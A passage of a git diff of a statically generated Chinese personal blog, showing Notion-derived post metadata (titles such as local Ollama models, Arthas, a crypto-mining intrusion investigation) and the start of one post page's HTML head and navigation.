caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240320-arthas"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/240322-angry.html b/article/240322-angry.html
index 5b5a4eea1..440b28c35 100644
--- a/article/240322-angry.html
+++ b/article/240322-angry.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>控制愤怒—邯郸未成年杀人案 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="思考"/><meta name="description" content="记下来"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="控制愤怒—邯郸未成年杀人案 | Both Savage"/><meta property="og:description" content="记下来"/><meta property="og:url" content="https://bothsavage.github.io//article/240322-angry"/><meta property="og:image" content="https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="记下来"/><meta name="twitter:title" content="控制愤怒—邯郸未成年杀人案 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="心"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 